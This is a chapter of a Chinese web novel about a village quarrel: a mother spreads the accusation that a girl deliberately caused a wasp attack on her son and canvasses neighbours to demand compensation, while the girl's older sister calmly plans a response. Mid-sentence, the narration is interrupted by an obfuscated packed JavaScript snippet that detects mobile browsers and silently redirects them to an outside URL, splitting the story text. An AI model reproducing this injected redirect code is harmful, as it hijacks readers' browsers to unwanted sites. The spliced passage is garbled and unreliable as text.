万秋灵来到院子的菜圃边，蹲下身观察。蔬菜长得都郁郁葱葱的，其中有几株莴笋，长势喜人，叶片宽阔又紧密，中间的茎杆已经很粗壮了，表皮呈现出健康的绿白色。 莴笋有两样吃的部分，叶子虽然味道有些苦，但是处理好了风味也不错，主要还是茎杆，削去外面那层皮，可以切丝凉拌，也可以切片切块烹饪。 万秋灵还记得有个细长品种的莴苣，去皮后切成条风干，就成为了贡菜。据说是古代有百姓将莴笋做成干菜，献到皇宫里，被定作贡品，因此有了贡菜之名。 从莴笋想到贡菜，由贡菜又想到适合烫火锅煮麻辣烫吃，想起火锅麻辣烫……想太远了。 “阿姐，你怎么不说话了呀？”万小兰见姐姐盯着莴笋出神，凑到她面前问，“你在想什么呢？这么入神。” 在想火锅……万秋灵眨了眨眼：“我在想，以后可以把莴笋晒了，做成苔干吃。” “苔干？我还没吃过呢，阿姐你懂的好多。” 万小兰依旧没放弃追问：“你还没说，找墩子哥啥事儿呢？” “后面你就知道了。”万秋灵卖起了关子。 早上，墩子得了万秋灵的嘱托去办件事，出门的时候人还是很平静的，回来时却变得慌里慌张。 他在路上听到那些村民的议论，当时就觉得事情不太妙，难怪秋灵姐忽然找他帮忙，莫非就是料到会有这一出？他不敢多耽搁，急匆匆地往村尾赶，一路跑着回来，敲响了万家的门。 “秋灵姐，不好了！出事情了！”他额头都跑出了汗，声音十分焦急。 “墩子哥，阿姐让你进来再说。” 看到万小兰，墩子神色有一些复杂，默默跟着她进了院里。 万秋灵正在整理午饭要用的东西，她走出来，先是问道：“墩子，你先说说，我让你帮忙问的事，结果怎么样？” 墩子连忙点了点头，喘匀了气才回答：“问过了，和你说的一样。” 万秋灵心里有了数，这才问他：“是不是路上听到什么了？这么急着跑回来。” “对！我路过村头那儿，听到好多人在讨论，说虎子脸肿得特别骇人，周婶子到处说……说，虎子是被人给害了！”讲到这儿，他下意识看了一眼正竖着耳朵听的万小兰。 万小兰本来听到虎子脸肿得不能看，吓得赶紧摸了摸额头上的包，她的包已经消肿了不少，没想到虎子会那么严重。都是同一窝蜂子，怎么蛰了人差别这么大？ 又听到周婶说虎子是被人害的，万小兰很是疑惑，心里面嘀咕着，哪里有人害他，不就是他也摔了一跟头吗？说不定就是摔到了脸，才变那样的。 结果看到墩子哥停顿时瞄了她一眼，才猛地反应了过来，“周婶该不会……说的是我吧？” 墩子神情复杂地点了点头。 “说我害了虎子？”万小兰差点原地跳起来，难以置信，“怎么可能是我？我都摔倒了，被蛰得满身是包，跑都来不及，咋个去害虎子？马蜂又不是听我的话去蛰他的！” 她说完才想起万老爹还在屋里，怕惊动到他，赶紧收了声音道：“墩子哥，昨天栓子和翠花也在呢，一问就知道我有没有害人！” 墩子只能笨拙地安慰：“小兰你放心，我肯定不信，就是听他们在乱传……” 万秋灵听着所谓的传言毫不意外，原本对昨天的事就有些怀疑，现在既然已经确定了，她倒不怎么慌。 只是没想到周大嘴反而这么着急，四处嚷嚷，也不知她是清楚内情呢，还是不清楚呢？有意思。 一旁的万小兰委屈得不行，又气又急：“周婶和虎子咋能随便冤枉人？是，我是有些看不惯他们，可我们两家又没有什么大仇！她怎么可以……把这么大的屎盆子往我头上扣呢？这要是传开了，村里人还咋看我，咋看待我们家？” 她虽然还小，但也知道被坏了名声的后果，家里的小馆子，以前不就是这样被搞垮的吗？万小兰担忧地看了一眼屋子，爹爹应该没有听见。 万秋灵轻轻拍了拍她的肩膀，带着安抚的力量，而后继续询问墩子，语气平静：“墩子，你把听到的那些话，再说得仔细一点。” 墩子努力回忆着，把听到的闲话尽量复述了一遍。 “……周婶拉着虎子在村头转，逢人就说虎子被人害了。问是谁，她也不明说。有人就挨个猜，问到小兰的时候……周婶就慌慌张张的，说她可没讲……” “后面又听人说，周婶从村头离开后，没回家，去了东头赵家，说是求法子治治虎子。” “她去赵家了？”万小兰一听，就要拉着姐姐往外冲，“阿姐，我们也去！当面把话说清楚，不能让她这么冤枉我！” “先不急。”万秋灵大概猜到周大嘴要做什么了。 她问了万小兰一个毫不相干的问题：“想不想吃鸡蛋羹？” “啊？”万小兰已经摆好架势，摩拳擦掌地要去干架了，被这个突然的问题砸得懵住。 “阿姐！这都什么时候了，火烧眉毛了，你咋还惦记鸡蛋羹？！” 而且家里的鸡蛋都吃完了，那只母鸡下蛋看心情，今天还没下蛋呢，要是它心情不好，不一定有的吃。 “我就问你，想不想吃？”万秋灵不为所动。 万小兰被问得没脾气了，深吸一口气答：“想！”又想起来阿姐原本说的，“不是鸡蛋烧豆腐吗？” “可以都有。”万秋灵语气笃定。 可恶……在这么紧张的时刻，万小兰竟然不受控制地咽了咽口水。 万秋灵又把目光转向一脸困惑的墩子：“墩子，今天辛苦你了，到时候留下来吧，一起吃顿饭。” 墩子也懵懵的，答应了。 真是奇怪，他原本和万小兰一样着急上火，听着万秋灵的话，看着她冷静沉着的样子，竟然也跟着冷静下来了。 “对了墩子，还得麻烦你再替我跑一趟。” 万秋灵招招手，示意他靠近点，低声说了几句。 墩子认真地听着，时不时点点头，或是微微瞪大了眼睛。等万秋灵讲完，他又重新确认了一次，得到肯定的答复，这才匆匆忙忙出门去了。 两人说话也没避着，但万小兰这次懒得打听说了什么，阿姐嘴严，不想说的话根本问不出来。 “阿姐，那咱们要怎么做呀，有什么需要我去办的吗？” 如果是去跟周婶子吵架，虽然她不如阿姐厉害，但是阿姐夸过她嗓门大，也是能帮上忙的，就像摆摊吆喝那样！ “我们啊……等就行了。” 既然周大嘴这么爱演戏，万秋灵决定大发善心帮她一把，让村里面的人都来欣赏下。 大洼村也该热闹热闹了。 …… 周大嘴到了赵家，跟赵家婶子倒了一会苦水，聊孩子们的情况，聊富贵的伤是怎么处理的。 赵家婶子自然是顺着宽慰了几句，周大嘴见氛围差不多了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17251297|197954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，脸上露出愤懑的神色：“你是明理人，我本来也想不多说，这事实在是憋屈啊！孩子们是一块出事不假，可这祸根子，得有人担着！” “虎子他娘，你这话是……” “万家那丫头！她故意踩的马蜂窝，害得其他孩子们遭殃！” 富贵本来躲在屋里着听，听到这话就冲出来，大声道：“周婶子，你咋能这么说？小兰姐自己也被蛰不少，就算是她踩的，也不是故意的。疼几天就是了！” 赵家婶子等他说完才板起脸，呵斥道：“富贵，大人说话，你插什么嘴，没规矩！回屋去。” 她转向周大嘴，脸上恢复了客气的笑容：“虎子娘，我家小子就这脾气，说话不过脑，你别往心里去。孩子们的事，有时候就是赶巧了，哪里谈得上什么故不故意的。” 周大嘴暗骂她不上道：“富贵他娘，我想着咱们几家孩子吃了亏，起码去万家讨个说法，让他家大人知道，好好看管孩子，免得以后又闹出这些事！” 就差把话挑明了说，去闹，去要赔礼！ 赵家婶子哪能没听出来，但她就是不接茬，跟周大嘴打太极。什么富贵这孩子不乐意去，我也犟不过他，富贵他爹也说了孩子皮实，这点伤不算个啥…… 最后客客气气把人母子俩送走了。 等周大嘴一走，富贵又钻了出来，气鼓鼓地说：“娘，虎子他娘就是想讹钱，我才不去干这种缺德事！” 赵家婶子摸了摸他的头：“这事咱不掺合，万家现在不容易，咱不能落井下石。你就在家老实待着，听见没？” “知道了。” 富贵心里对虎子更看不上眼了，他怎么这样？男子汉大丈夫，被蜂子蛰几下就哭爹喊娘，真没出息！ 虎子正被他娘拉着去二喜家。 周大嘴没能说服赵家，脸色阴沉，远远瞧见墩子从一条岔路走过。想到昨天墩子的弟弟妹妹也在，赶忙扬声招呼：“墩子，这是赶哪去？” 墩子看见是她，脚步不但不停，还加快了些，掉头就走了。 周大嘴朝他的背影啐了一口，低声骂：“真是晦气！”王家跟万家是邻居，看样子是向着万家，很难说动。这么一想，二喜家是最重要的，她得打足精神。 到了二喜家，刚好她爹娘都在。周大嘴准备了一肚子的话，添油加醋一通游说。 “……将来说人家，脸面多重要啊，万一留了疤，毁了相，以后可咋办？”她算准了二喜爹娘会心疼小女儿，“二喜多文静乖巧的闺女，平时都不出门，一出门就遭这么大的罪！” 给二喜爹娘说得有些松动了，他家孩子好不容易出去玩一次，弄得一身包回来，昨天哭了好久。他们本来心里就有些窝火，听周大嘴这么一说，觉得也有些道理。 “咱们占着理，总得让万家表个态度！不然以后谁家孩子还敢跟她们玩？” 周大嘴说了半天，想起还没看到二喜本人：“二喜呢，让孩子也说说，昨儿吓坏了吧。” “刚还在呢，好像出去了。”二喜娘出门去寻，把二喜领了回来。 二喜身上的包比富贵要严重些，周大嘴故意夸张地惊呼：“哎哟！看这小脸被蛰的！” 她指着一旁的虎子，对二喜爹娘道：“你们瞧，虎子昨天也就比二喜严重点，睡一觉就成这副鬼样子了！这蜂子厉害起来，说不准的！” 虎子脸上肿起来的地方红得发紫，十分醒目。 二喜害怕得想缩起来，她爹娘更是脸都白了。 周大嘴趁机开始忽悠二喜，连吓带哄的，二喜迷迷糊糊地点了点头。 “哎呀，孩子都同意了，孩子心里也委屈啊！”周大嘴赶紧催促二喜爹娘，“走走走，咱们现在就去万家！”